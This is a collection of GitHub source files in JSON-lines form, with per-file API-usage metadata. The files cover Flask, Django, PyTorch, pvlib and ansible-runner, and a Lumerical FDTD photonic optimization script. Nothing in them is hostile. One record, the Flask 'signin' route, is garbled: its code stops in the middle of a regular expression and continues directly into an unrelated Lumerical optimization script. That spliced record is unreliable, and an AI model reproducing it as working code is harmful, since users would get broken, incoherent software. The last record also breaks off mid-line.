"pt": "69", "api": [{"api_name": "app.app.route", "line_number": 8, "usage_type": "call"}, {"api_name": "app.app", "line_number": 8, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 9, "usage_type": "call"}, {"api_name": "app.app", "line_number": 9, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 20, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 23, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 35, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 40, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 53, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 13, "usage_type": "call"}, {"api_name": "app.app", "line_number": 13, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 14, "usage_type": "call"}, {"api_name": "app.app", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "12864195106", "text": "import asyncio\nimport os\nimport json\nimport logging\nimport threading\n\nlogger = logging.getLogger('ansible-runner.zeromq')\n\n\nclass RunnerClientProtocol(asyncio.Protocol):\n\n    def __init__(self, loop):\n        self.transport = None\n\n    def connection_made(self, transport):\n        print(\"In connection made\")\n        super().connection_made(transport)\n        self.transport = transport\n        print(\"Connection to {}\".format(transport.get_extra_info('peername')))\n\n    def connection_lost(self, exc):\n        print('Connection lost with the server...')\n\n\nclass RunnerServiceHandler:\n\n    def __init__(self):\n        self.host = None\n        self.port = None\n        self.loop = asyncio.new_event_loop()\n        self.client_protocol = None\n\n    async def send_data_actual(self, message):\n        while True:\n            if self.client_protocol is None or self.client_protocol.transport is None:\n                await asyncio.sleep(1)\n            else:\n                return await self.client_protocol.transport.write(json.dumps(message).encode())\n\n    async def send_hangup_actual(self):\n        return await self.loop.stop()\n\n    def send_data(self, message):\n        return asyncio.run_coroutine_threadsafe(self.send_data_actual(message),\n                                                self.loop)\n\n    def send_hangup(self):\n        return asyncio.run_coroutine_threadsafe(self.send_hangup_actual(),\n                                                self.loop)\n\n    def mainloop(self):\n        asyncio.set_event_loop(self.loop)\n        self.client_protocol = RunnerClientProtocol(self.loop)\n        self.loop.create_task(self.loop.create_connection(lambda: self.client_protocol,\n                                                          self.host,\n                                                          self.port))\n        self.loop.run_forever()\n\n\nrunner_service = RunnerServiceHandler()\nservice_thread = None\n\n\ndef set_configuration(runner_config):\n    global service_thread\n    runner_host = runner_config.settings.get(\"runner_service_host\", None)\n    runner_host = os.getenv(\"RUNNER_SERVICE_HOST\", runner_host)\n    runner_port = runner_config.settings.get(\"runner_service_port\", None)\n    runner_port = os.getenv(\"RUNNER_SERVICE_PORT\", runner_port)\n    if runner_host is None or runner_port is None:\n        print(\"Runner AIO Plugin Skipped\")\n        return False\n    if service_thread is None:\n        runner_service.host = runner_host\n        runner_service.port = runner_port\n        service_thread = threading.Thread(target=runner_service.mainloop)\n        service_thread.start()\n\n\ndef status_handler(runner_config, data):\n    set_configuration(runner_config)\n    runner_service.send_data(data)\n    if 'status' in data and data['status'] in ('canceled', 'successful', 'timeout', 'failed'):\n        runner_service.send_hangup()\n\n\ndef event_handler(runner_config, data):\n    set_configuration(runner_config)\n    runner_service.send_data(data)\n", "repo_name": "ansible/ansible-runner-aio", "sub_path": "ansible_runner_aio/events.py", "file_name": "events.py", "file_ext": "py", "file_size_in_byte": 2956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "asyncio.Protocol", "line_number": 10, "usage_type": "attribute"}, {"api_name": "asyncio.new_event_loop", "line_number": 30, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 38, "usage_type": "call"}, {"api_name": "asyncio.run_coroutine_threadsafe", "line_number": 44, "usage_type": "call"}, {"api_name": "asyncio.run_coroutine_threadsafe", "line_number": 48, "usage_type": "call"}, {"api_name": "asyncio.set_event_loop", "line_number": 52, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 67, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 69, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "34986819599", "text": "from typing import Tuple\nfrom PIL import Image\nimport numpy as np\n\nimport torch\nfrom torchvision import transforms\n\n\ndef default_transforms(img: Image, label: Image, normalize: Tuple, size: Tuple):\n    if size == (\"same\", \"same\"):\n        img_tf = transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize(normalize[0], normalize[1])\n        ])\n    else:\n        img_tf = transforms.Compose([\n            transforms.Resize(size),\n            transforms.ToTensor(),\n            transforms.Normalize(normalize[0], normalize[1])\n        ])\n        label = label.resize(size, Image.NEAREST)\n    img = img_tf(img)\n    label = torch.tensor(np.array(label, dtype=np.int64))\n    return img, label\n", "repo_name": "zhfeing/pysmg", "sub_path": "pysmg/data/transforms.py", "file_name": "transforms.py", "file_ext": "py", "file_size_in_byte": 720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 9, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 11, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 11, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 12, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 12, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 13, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 13, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 16, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 16, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 17, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 17, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 18, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 19, "usage_type": "name"}, {"api_name": "PIL.Image.NEAREST", "line_number": 21, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 23, "usage_type": "attribute"}]}
{"seq_id": "34743732490", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='JamJarToken',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('created_at', models.DateTimeField(auto_now_add=True)),\n                ('modified_at', models.DateTimeField(auto_now=True)),\n                ('token', models.CharField(max_length=50)),\n                ('token_type', models.CharField(max_length=1, verbose_name=b'Type of token', choices=[(b'R', b'password reset'), (b'A', b'activation'), (b'I', b'invite')])),\n                ('active', models.BooleanField(default=False)),\n                ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='UserInvite',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('created_at', models.DateTimeField(auto_now_add=True)),\n                ('modified_at', models.DateTimeField(auto_now=True)),\n                ('email', models.EmailField(max_length=255)),\n                ('message', models.CharField(max_length=500)),\n                ('accepted', models.NullBooleanField()),\n                ('invitor', models.ForeignKey(related_name='sent_invites', to=settings.AUTH_USER_MODEL)),\n                ('token', models.ForeignKey(related_name='invite', to='authentication.JamJarToken')),\n            ],\n            options={\n                'abstract': False,\n            },\n        ),\n        migrations.AlterUniqueTogether(\n            name='jamjartoken',\n            unique_together=set([('token', 'token_type')]),\n        ),\n    ]\n", "repo_name": "projectjamjar/masonjar", "sub_path": "jamjar/jamjar/authentication/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 2015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.swappable_dependency", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.NullBooleanField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterUniqueTogether", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "13723332801", "text": "import pvlib\n\ndef get_parameters(latitude, longitude, tz, altitude, datetime):\n    '''\n    Wrapper that defines a pvlib.location Location class and estimates the\n    solar position parameters, airmass and extraterrestrial DNI.\n    \n    Parameters\n    ----------\n    latitude : float\n        Latitude based on the location of the PV plant in decimal degrees notation.\n\n    longitude : float\n        Longitude based on the location of the PV plant in decimal degrees notation.\n\n    tz : string\n        Time zone of the location of the PV plant.\n        \n    altitude : float\n        Altitude based on the location of the PV plant from sea level in [m].\n    \n    datetime : numeric\n        Time stamps of the historical data series in pandas.DatetimeIndex format.\n\n    Returns\n    -------\n    location : class\n        PVlib Location defined class.\n        \n    solpos : pandas.DataFrame\n        Data structure that contains solar zenith and solar azimuth.\n        \n    airmass : pandas.DataFrame\n        Data structure that contains relative and absolute airmass.\n        \n    etr_nrel : numeric\n        Extraterrestrial radiation from time stamps of the historical \n        data series.\n\n    Notes\n    -----\n    More details at: \n    https://pvlib-python.readthedocs.io/en/stable/generated/pvlib.location.Location.html\n    https://pvlib-python.readthedocs.io/en/stable/generated/pvlib.location.Location.get_solarposition.html\n    https://pvlib-python.readthedocs.io/en/stable/generated/pvlib.location.Location.get_airmass.html\n    https://pvlib-python.readthedocs.io/en/stable/generated/pvlib.irradiance.get_extra_radiation.html\n    '''\n    # Geographic Location\n    location = pvlib.location.Location(latitude, longitude, tz, altitude)\n    \n    # Solar Position Parameters\n    solpos = location.get_solarposition(times=datetime, \n                                        method='nrel_numpy')\n\n    # Airmass\n    airmass = location.get_airmass(times=datetime, \n                                   solar_position=solpos, \n                                   model='kastenyoung1989')\n\n    # Extraterrestrial DNI\n    etr_nrel = pvlib.irradiance.get_extra_radiation(datetime_or_doy=datetime, \n                                                    method='NREL', \n                                                    solar_constant=1361)\n\n    return location, solpos, airmass, etr_nrel", "repo_name": "andresgm/cno_solar", "sub_path": "cnosolar/location_data.py", "file_name": "location_data.py", "file_ext": "py", "file_size_in_byte": 2371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pvlib.location.Location", "line_number": 49, "usage_type": "call"}, {"api_name": "pvlib.location", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pvlib.irradiance.get_extra_radiation", "line_number": 61, "usage_type": "call"}, {"api_name": "pvlib.irradiance", "line_number": 61, "usage_type": "attribute"}]}
{"seq_id": "25857903791", "text": "import logging\nimport os\nimport torch\nfrom collections import OrderedDict\n\n\nclass CheckPointer:\n    _last_checkpoint_name = 'last_checkpoint.txt'\n\n    def __init__(self, model, optimizer=None, scheduler=None, save_dir=\"\",\n                 logger=None):\n        self.model = model\n        self.optimizer = optimizer\n        self.scheduler = scheduler\n        self.save_dir = save_dir\n        if logger is None:\n            logger = logging.getLogger(__name__)\n        self.logger = logger\n        self.model_key = 'model|module'\n\n    def save(self, name, **kwargs):\n        if not self.save_dir:\n            return\n        data = {'model': self.model.state_dict()}\n        if self.optimizer is not None:\n            data[\"optimizer\"] = self.optimizer.state_dict()\n        if self.scheduler is not None:\n            data[\"scheduler\"] = self.scheduler.state_dict()\n        data.update(kwargs)\n        save_file = os.path.join(self.save_dir, \"{}.pth\".format(name))\n        self.logger.info(\"Saving checkpoint to {}\".format(save_file))\n        torch.save(data, save_file)\n        self.tag_last_checkpoint(save_file)\n\n    def load(self, f=None, use_latest=True):\n        if self.has_checkpoint() and use_latest:\n            # override argument with existing checkpoint\n            f = self.get_checkpoint_file()\n        if not f:\n            # no checkpoint could be found\n            self.logger.info(\"No checkpoint found.\")\n            return {}\n\n        self.logger.info(\"Loading checkpoint from {}\".format(f))\n        checkpoint = self._load_file(f)\n        model = self.model\n        model.load_state_dict(checkpoint.pop(\"model\"))\n        if \"optimizer\" in checkpoint and self.optimizer:\n            self.logger.info(\"Loading optimizer from {}\".format(f))\n            self.optimizer.load_state_dict(checkpoint.pop(\"optimizer\"))\n        # if \"scheduler\" in checkpoint and self.scheduler:\n        #     self.logger.info(\"Loading scheduler from {}\".format(f))\n        #     self.scheduler.load_state_dict(checkpoint.pop(\"scheduler\"))\n        # return any further checkpoint data\n        return checkpoint\n\n    def finetune_load(self, f):\n        self.logger.info(\"Loading pretrain checkpoint from {}\".format(f))\n        checkpoint = self._load_file(f)\n        checkpoint_model = checkpoint['model']\n        state_dict = self.model.state_dict()\n\n        all_keys = list(checkpoint_model.keys())\n        new_dict = OrderedDict()\n        for key in all_keys:\n            if key.startswith('backbone.'):\n                new_dict[key[9:]] = checkpoint_model[key]\n            elif key.startswith('encoder.'):\n                new_dict['0.' + key[8:]] = checkpoint_model[key]\n            else:\n                new_dict[key] = checkpoint_model[key]\n        checkpoint_model = new_dict\n\n        # interpolate position embedding\n        if 'pos_embed' in checkpoint_model:\n            pos_embed_checkpoint = checkpoint_model['pos_embed']\n            embedding_size = pos_embed_checkpoint.shape[-1]\n            num_patches = self.model.patch_embed.num_patches\n            num_extra_tokens = self.model.pos_embed.shape[-2] - num_patches\n            # height (== width) for the checkpoint position embedding\n            orig_size = int(\n                (pos_embed_checkpoint.shape[-2] - num_extra_tokens) ** 0.5)\n            # height (== width) for the new position embedding\n            new_size = int(num_patches ** 0.5)\n            # class_token and dist_token are kept unchanged\n            if orig_size != new_size:\n                print(\"Position interpolate from %dx%d to %dx%d\" % (\n                    orig_size, orig_size, new_size, new_size))\n                extra_tokens = pos_embed_checkpoint[:, :num_extra_tokens]\n                # only the position tokens are interpolated\n                pos_tokens = pos_embed_checkpoint[:, num_extra_tokens:]\n                pos_tokens = pos_tokens.reshape(-1, orig_size, orig_size,\n                                                embedding_size).permute(0, 3, 1, 2)\n                pos_tokens = torch.nn.functional.interpolate(\n                    pos_tokens, size=(new_size, new_size), mode='bicubic',\n                    align_corners=False)\n                pos_tokens = pos_tokens.permute(0, 2, 3, 1).flatten(1, 2)\n                new_pos_embed = torch.cat((extra_tokens, pos_tokens), dim=1)\n                checkpoint_model['pos_embed'] = new_pos_embed\n\n        load_state_dict(self.model, checkpoint_model, prefix='')\n\n    def get_checkpoint_file(self):\n        save_file = os.path.join(self.save_dir, self._last_checkpoint_name)\n        try:\n            with open(save_file, \"r\") as f:\n                last_saved = f.read()\n                last_saved = last_saved.strip()\n        except IOError:\n            # if file doesn't exist, maybe because it has just been\n            # deleted by a separate process\n            last_saved = \"\"\n        return last_saved\n\n    def has_checkpoint(self):\n        save_file = os.path.join(self.save_dir, self._last_checkpoint_name)\n        return os.path.exists(save_file)\n\n    def tag_last_checkpoint(self, last_filename):\n        save_file = os.path.join(self.save_dir, self._last_checkpoint_name)\n        with open(save_file, \"w\") as f:\n            f.write(last_filename)\n\n    @staticmethod\n    def _load_file(f):\n        return torch.load(f, map_location=torch.device(\"cpu\"))\n\n\ndef load_state_dict(model, state_dict, prefix='',\n                    ignore_missing=\"relative_position_index\"):\n    missing_keys = []\n    unexpected_keys = []\n    error_msgs = []\n    # copy state_dict so _load_from_state_dict can modify it\n    metadata = getattr(state_dict, '_metadata', None)\n    state_dict = state_dict.copy()\n    if metadata is not None:\n        state_dict._metadata = metadata\n\n    def load(module, prefix=''):\n        local_metadata = {} if metadata is None else metadata.get(\n            prefix[:-1], {})\n        module._load_from_state_dict(\n            state_dict, prefix, local_metadata, True, missing_keys, unexpected_keys,\n            error_msgs)\n        for name, child in module._modules.items():\n            if child is not None:\n                load(child, prefix + name + '.')\n\n    load(model, prefix=prefix)\n\n    warn_missing_keys = []\n    ignore_missing_keys = []\n    for key in missing_keys:\n        keep_flag = True\n        for ignore_key in ignore_missing.split('|'):\n            if ignore_key in key:\n                keep_flag = False\n                break\n        if keep_flag:\n            warn_missing_keys.append(key)\n        else:\n            ignore_missing_keys.append(key)\n\n    missing_keys = warn_missing_keys\n\n    if len(missing_keys) > 0:\n        print(\"Weights of {} not initialized from pretrained model: {}\".format(\n            model.__class__.__name__, missing_keys))\n    if len(unexpected_keys) > 0:\n        print(\"Weights from pretrained model not used in {}: {}\".format(\n            model.__class__.__name__, unexpected_keys))\n    if len(ignore_missing_keys) > 0:\n        print(\n            \"Ignored weights of {} not initialized from pretrained model: {}\".format(\n                model.__class__.__name__, ignore_missing_keys))\n    if len(error_msgs) > 0:\n        print('\\n'.join(error_msgs))\n", "repo_name": "JoeJoZ/AMLS_assignment22_23", "sub_path": "utils/checkpoint.py", "file_name": "checkpoint.py", "file_ext": "py", "file_size_in_byte": 7208, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 32, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 126, "usage_type": "call"}]}
{"seq_id": "6510103065", "text": "# coding: utf-8\nfrom django.contrib.auth.models import Permission\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.db.models.signals import post_migrate\n\n\ndef add_view_permissions(sender, **kwargs):\n    \"\"\"\n    This syncdb hooks takes care of adding a view permission too all our content types.\n    \"\"\"\n    for content_type in ContentType.objects.all():\n        codename = \"view_%s\" % content_type.model\n        if not Permission.objects.filter(content_type=content_type, codename=codename):\n            Permission.objects.create(\n                content_type=content_type, codename=codename, name=\"Can view %s\" % content_type.name\n            )\n\n\npost_migrate.connect(add_view_permissions)\n", "repo_name": "debnet/common-framework", "sub_path": "common/management/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.contrib.contenttypes.models.ContentType.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 11, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Permission.objects.filter", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Permission.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Permission", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Permission.objects.create", "line_number": 14, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Permission.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Permission", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.signals.post_migrate.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_migrate", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "25423899316", "text": "# Import flask dependencies\nfrom flask import Blueprint, request, jsonify\nimport re\n\nmod_auth = Blueprint('auth', __name__, url_prefix='/auth')\n\n\n@mod_auth.route('/signin', methods=['GET'])\ndef signin():\n\n    filters_url = \"pdf:true;peerRevd:true;lx:500-800,750-1200;subj:american%20history \"\n    matches = re.compile(\"(? 1:\n    project_subfolder = \"/\" + sys.argv[1] + \"/\"\n\nuse_random_design_seed = False\nif len(sys.argv) > 3:\n    random_seed = int( sys.argv[2] )\n    np.random.seed( random_seed )\n    use_random_design_seed = True\n    step_size_multiplier = float( sys.argv[3] )\n    adaptive_step_size *= step_size_multiplier\n\npython_src_directory = os.path.abspath(os.path.join(os.path.dirname(__file__), '.'))\nprojects_directory_location = os.path.abspath(os.path.join(os.path.dirname(__file__), '../projects/')) + project_subfolder\n\nif not os.path.isdir(projects_directory_location):\n    os.mkdir(projects_directory_location)\n\nprojects_directory_location += \"/\" + project_name\n\nif not os.path.isdir(projects_directory_location):\n    os.mkdir(projects_directory_location)\n\nlog_file = open(projects_directory_location + \"/log.txt\", 'w')\nlog_file.write(\"Log\\n\")\nlog_file.close()\n\nfdtd_hook.newproject()\nfdtd_hook.save(projects_directory_location + \"/optimization\")\n\nshutil.copy2(python_src_directory + \"/CMOSMetalBayerFilter3DSingleBandModeParameters.py\", projects_directory_location + \"/ArchiveCMOSMetalBayerFilter.py\")\n\n#\n# Consolidate the data transfer functionality for getting data from Lumerical FDTD process to\n# python process.  This is much faster than going through Lumerical's interop library\n#\ndef get_monitor_data(monitor_name, monitor_field):\n    lumerical_data_name = \"monitor_data_\" + monitor_name + \"_\" + monitor_field\n    extracted_data_name = lumerical_data_name + \"_data\"\n    data_transfer_filename = projects_directory_location + \"/data_transfer_\" + monitor_name + \"_\" + monitor_field\n\n    command_read_monitor = lumerical_data_name + \" = getresult(\\'\" + monitor_name + \"\\', \\'\" + monitor_field + \"\\');\"\n    command_extract_data = extracted_data_name + \" = \" + lumerical_data_name + \".\" + monitor_field + \";\"\n    command_save_data_to_file = \"matlabsave(\\'\" + data_transfer_filename + \"\\', \" + extracted_data_name + \");\"\n\n    lumapi.evalScript(fdtd_hook.handle, command_read_monitor)\n    lumapi.evalScript(fdtd_hook.handle, command_extract_data)\n\n    # start_time = time.time()\n\n    lumapi.evalScript(fdtd_hook.handle, command_save_data_to_file)\n    monitor_data = {}\n    load_file = h5py.File(data_transfer_filename + \".mat\", 'r')\n\n    monitor_data = np.array(load_file[extracted_data_name])\n\n    # end_time = time.time()\n\n    # print(\"\\nIt took \" + str(end_time - start_time) + \" seconds to transfer the monitor data\\n\")\n\n    return monitor_data\n\ndef get_complex_monitor_data(monitor_name, monitor_field):\n    data = get_monitor_data(monitor_name, monitor_field)\n    return (data['real'] + np.complex(0, 1) * data['imag'])\n\n#\n# Set up the FDTD region and mesh\n#\nfdtd = fdtd_hook.addfdtd()\nfdtd['dimension'] = '3D'\nfdtd['x span'] = fdtd_region_size_lateral_um * 1e-6\nfdtd['y span'] = fdtd_region_size_lateral_um * 1e-6\nfdtd['z max'] = fdtd_region_maximum_vertical_um * 1e-6\nfdtd['z min'] = fdtd_region_minimum_vertical_um * 1e-6\nfdtd['mesh type'] = 'uniform'\nfdtd['define x mesh by'] = 'number of mesh cells'\nfdtd['define y mesh by'] = 'number of mesh cells'\nfdtd['define z mesh by'] = 'number of mesh cells'\nfdtd['mesh cells x'] = fdtd_region_minimum_lateral_voxels\nfdtd['mesh cells y'] = fdtd_region_minimum_lateral_voxels\nfdtd['mesh cells z'] = fdtd_region_minimum_vertical_voxels\nfdtd['simulation time'] = fdtd_simulation_time_fs * 1e-15\nfdtd['background index'] = background_index\n# fdtd['dt stability factor'] = fdtd_dt_stability_factor\n\n#\n# General polarized source information\n#\nxy_phi_rotations = { 'x' : 0, 'y' : 90 }\nxy_index_idx = { 'x' : 0, 'y' : 1 }\nxy_names = ['x', 'y']\n\n\n#\n# Add a TFSF plane wave forward source at normal incidence\n#\nplane_wave_sources = {}\n\nforward_src_xpol = fdtd_hook.addtfsf()\nforward_src_xpol['name'] = 'forward_src_xpol'\nforward_src_xpol['angle phi'] = xy_phi_rotations['x']\n# forward_src_xpol['direction'] = 'Backward'\nforward_src_xpol['direction'] = 'Forward'\nforward_src_xpol['x span'] = 1.3 * device_size_lateral_um * 1e-6\nforward_src_xpol['y span'] = 1.3 * device_size_lateral_um * 1e-6\n# forward_src_xpol['z min'] = src_minimum_vertical_um * 1e-6\n# forward_src_xpol['z max'] = src_maximum_vertical_um * 1e-6\nforward_src_xpol['z min'] = src_maximum_vertical_um * 1e-6\nforward_src_xpol['z max'] = fdtd_region_maximum_vertical_um * 1e-6\nforward_src_xpol['wavelength start'] = src_lambda_min_um * 1e-6\nforward_src_xpol['wavelength stop'] = src_lambda_max_um * 1e-6\n\nmode_reflection_monitor_delta_um = 0.25 * vertical_gap_size_top_um\n\n\nplane_src_xpol = fdtd_hook.addplane()\nplane_src_xpol['name'] = 